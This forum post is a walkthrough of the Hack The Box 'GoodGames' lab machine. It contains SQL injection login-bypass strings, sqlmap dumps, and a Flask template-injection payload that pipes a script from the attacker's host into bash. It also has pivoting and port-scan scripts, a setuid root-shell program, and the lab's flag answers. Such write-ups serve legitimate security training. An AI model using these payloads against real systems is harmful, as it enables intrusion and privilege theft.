[Meachines] [Easy] GoodGames SQLI+Flask SSTI+Docker逃逸权限提升

打印 上一主题 下一主题

主题 1021|帖子 1021|积分 3063

Information Gathering

IP AddressOpening Ports10.10.11.130TCP:80 $ sudo masscan -p1-65535,U:1-65535 10.10.11.130 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.11.130
  1. PORT   STATE SERVICE VERSION
  2. 80/tcp open  http    Apache httpd 2.4.51
  3. |_http-server-header: Werkzeug/2.0.2 Python/3.9.2
  4. |_http-title: GoodGames | Community and Store
  5. Service Info: Host: goodgames.htb
复制代码
SQLI

# echo '10.10.11.130 goodgames.htb' >> /etc/hosts

$ dirsearch -u 'http://goodgames.htb'

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.goodgames.htb -H "Host: FUZZ.goodgames.htb" -ac
email=1%40gmail.com'--+&password=123

email=1%40gmail.com'%20OR%20'1'='1'--+&password=123

$ sqlmap -r sqli -p email --batch

$ sqlmap -r sqli -p email --batch -D main -T user --dump


email:admin@goodgames.htb
username:admin
password:superadministrator

# echo '10.10.11.130 internal-administration.goodgames.htb' >> /etc/hosts
Flask SSTI Injection

http://internal-administration.goodgames.htb/login


  1. POST /settings HTTP/1.1
  2. Host: internal-administration.goodgames.htb
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate, br
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 12
  9. Origin: http://internal-administration.goodgames.htb
  10. Connection: close
  11. Referer: http://internal-administration.goodgames.htb/settings
  12. Cookie: session=.eJwlzjmOAjEQQNG7OJ6gNttlLtOyaxFopBmpGyLE3WlE-F_0n2XLPY5rudz3R_yU7eblUmbNTKJOMTv2xlEnLvZRZa6cyFlXApt0B8yTWRbWcKjWxBynA7euMwcNqoxhGCBJQ62zDFouHEMJZWlVc9eVlg20Z-uGiOUceRyxf28-acee2_3_N_5OSIfAIS1aR1OxaO5jgShFCrBKJVTXVl5vIF4_KQ.Z5IPJg.xnuJSS0C6PcZvOJeMd6iV8AclZE
  13. Upgrade-Insecure-Requests: 1
  14. name={{9*9}}
复制代码

name={{config.__class__.__init__.__globals__['os'].popen('curl%20http://10.10.16.16/rev|bash').read()}}

User.txt

   388118f20c90df4d38744d9ac624dd43
  Privilege Escalation : Docker Escape

Server:
$ chisel server -p 8000 --reverse
Client:
# ./chisel_1.10.1_linux_amd64 client 10.10.16.16:8000 R:localhost:1080:socks
Server:
$ vim 10.10.11.130.conf

Client:
# arp -a

https://raw.githubusercontent.com/S12cybersecurity/Pivoting_Enum/refs/heads/main/pivoting.sh
  1. #!/bin/bash
  2. RED="\e[31m"
  3. GREEN="\e[32m"
  4. YELLOW="\e[33m"
  5. ENDCOLOR="\e[0m"
  6. hostname=$(hostname)
  7. echo -e "${GREEN}[+] Basic Information on $hostname machine${ENDCOLOR}"
  8. echo -e "\n${YELLOW}List of Machine Local IP's:${ENDCOLOR}"
  9. ifconfig | awk '{print $(NF - -4), $NF}' | grep "172."  | cut -c 2-
  10. ifconfig | awk '{print $(NF - -4), $NF}' | grep "192." | cut -c 2-
  11. ifconfig | awk '{print $(NF - -4), $NF}' | grep "10." | cut -c 2- | grep -v "0x10<host>"
  12. echo -e "\n${YELLOW}Utilities:${ENDCOLOR}"
  13. which aws
  14. which netcat
  15. which nc.traditional
  16. which curl
  17. which ping
  18. which gcc
  19. which g++
  20. which make
  21. which gdb
  22. which base64
  23. which socat
  24. which python
  25. which python2
  26. which python3
  27. which perl
  28. which php
  29. which ruby
  30. which xterm
  31. which sudo
  32. which wget
  33. which nc
  34. which nmap
  35. which fping
  36. echo -e "\n"
  37. echo -e "${GREEN}[+] Network Recon\n${ENDCOLOR}"
  38. if [ -z $1 ]
  39. then
  40.     echo -e "${RED}[*] Syntax: <NETWORK/S TO SCAN> Format: 192.168.0 ${ENDCOLOR}"
  41.     exit 1
  42. fi
  43. if [[ $# =~ 1 ]]
  44. then
  45.    hosts=($1)
  46.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"$hosts
  47. fi
  48. if [[ $# =~ 2 ]]
  49. then
  50.    hosts=($1 $2)
  51.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}
  52. fi
  53. if [[ $# =~ 3 ]]
  54. then
  55.    hosts=($1 $2 $3)
  56.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}", "${hosts[2]}
  57. fi
  58. if [[ $# =~ 4 ]]
  59. then
  60.    hosts=($1 $2 $3 $4)
  61.    echo -e "${GREEN}List of Networks: ${ENDCOLOR}"${hosts[0]}", "${hosts[1]}", "${hosts[2]}", "${hosts[3]}
  62. fi
  63. for host in ${hosts[@]}; do
  64.         echo -e "\n${YELLOW}[*] Enumerating Network: $host${ENDCOLOR}\n"
  65.         for i in $(seq 1 254); do
  66.                 timeout 0.5 bash -c "ping -c 1 $host.$i" &> /dev/null
  67.                 a=$(echo $?)
  68.                 if [[ $a =~ 0 ]]
  69.                 then
  70.                         array[${#array[@]}]=$host.$i
  71.                         echo $host.$i >> hosts.txt
  72.                         b=$(ping -c 1 $host.$i | grep 'ttl' | awk '{print $(NF - 2), $NF}' | cut -c 5-7)
  73.                         if [[ $b =~ 64 ]] || [[ $b =~ 63 ]] || [[ $b =~ 62 ]]
  74.                         then
  75.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=Linux]"
  76.                        
  77.                         elif [[ $b =~ 128 ]] || [[ $b =~ 127 ]] || [[ $b =~ 126 ]]
  78.                         then
  79.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=Windows]"
  80.                         else
  81.                                 echo "[+] HOST $host.$i  ACTIVE  [OS=UNDETECTED]"
  82.                         fi
  83.                 fi
  84.         done; wait
  85. done
  86. for host in ${array[@]}; do
  87.         echo -e "\n${YELLOW}[*] Scanning Ports on: $host${ENDCOLOR}\n"
  88.         for port in $(seq 1 10001); do
  89.                 timeout 1 bash -c "echo '' > /dev/tcp/$host/$port" 2> /dev/null && echo -e "\t[+] PORT $host:$port OPEN" &
  90.         done; wait
  91. done
复制代码
# ./host_discovery.sh 172.19.0

Server:
$ sudo proxychains -f 10.10.11.130.conf ssh augustus@172.19.0.1

Docker用户创建test文件在augustus目次中test全部者是root

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4.         setuid(0);
  5.         system("/bin/bash");
  6. }
复制代码
# wget http://10.10.16.16/suid.c
# gcc suid.c -o suid
# chmod u+s suid
augustus@GoodGames:~$ ./suid

Root.txt

   a42c76fe28f8a2556fa7e8794f133c15

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

滴水恩情

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表